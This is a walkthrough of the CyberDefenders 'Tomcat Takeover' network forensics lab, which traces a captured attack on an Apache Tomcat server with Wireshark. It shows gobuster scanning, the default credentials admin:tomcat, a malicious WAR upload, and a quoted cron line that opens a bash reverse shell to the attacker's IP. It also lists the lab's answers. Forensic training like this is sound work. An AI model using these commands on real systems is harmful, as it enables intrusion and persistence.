Contents

Cyberdefenders - Tomcat Takeover

Contents

Tomcat Takeover

  • Category : Network Forensics
  • SHA1SUM : 56cc3f2aed9beb326eec027ae5dc9971a37da57d
  • Published : Sept. 15, 2023, 4 p.m.
  • Author : Chadou
  • Size : 459 KB
  • Tags : Wireshark PCAP Tomcat Network NetworkMiner
  • Password : cyberdefenders.org

Our SOC team has detected suspicious activity on one of the web servers within the company’s intranet. In order to gain a deeper understanding of the situation, the team has captured network traffic for analysis. This pcap file potentially contains a series of malicious activities that have resulted in the compromise of the Apache Tomcat web server. We need to investigate this incident further.

  • Wireshark
  • NetworkMiner

Statistics > IPv4 statistics > Destination and Ports

We see 2 IP with lot of connection to many ports. Second clue, we also see many SYN and RST requests which is suspicious.

Answer : 14.0.0.120

https://www.whois.com/whois/14.0.0.120

Answer : Guangzhou

Do a filter ip.addr == 14.0.0.120 and search on wireshark for a request made on an endpoint which contain admin. You will find admin & admin-console endpoints. Get the port of those requests.

Answer : 8080

User-Agent: gobuster/3.6

Answer : gobuster

Look for a request made on /admin (stream 9449), follow the HTTP stream and you will get multiple request on a folder.

Answer : /manager

Filter : ip.addr == 14.0.0.120 and http.request.method == "POST". In the Authorization section : Authorization: Basic YWRtaW46dG9tY2F0

1
2
echo 'YWRtaW46dG9tY2F0' | base64 -d
admin:tomcat

Or it’s just print in wireshark.

Answer : admin:tomcat

In the same packet, the endpoint is /manager/html/upload. Look into the MIME section.

Content-Disposition: form-data; name="deployWar"; filename="JXQOZY.war"

Answer : JXQOZY.war

We notice a request on /JXQOZY. The following stream contains commands and the command used to establish persistence.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
whoami
root
cd /tmp
pwd
/tmp
echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'" > cron
crontab -i cron

crontab -l
* * * * * /bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'

Answer : /bin/bash -c ‘bash -i >& /dev/tcp/14.0.0.120/443 0>&1’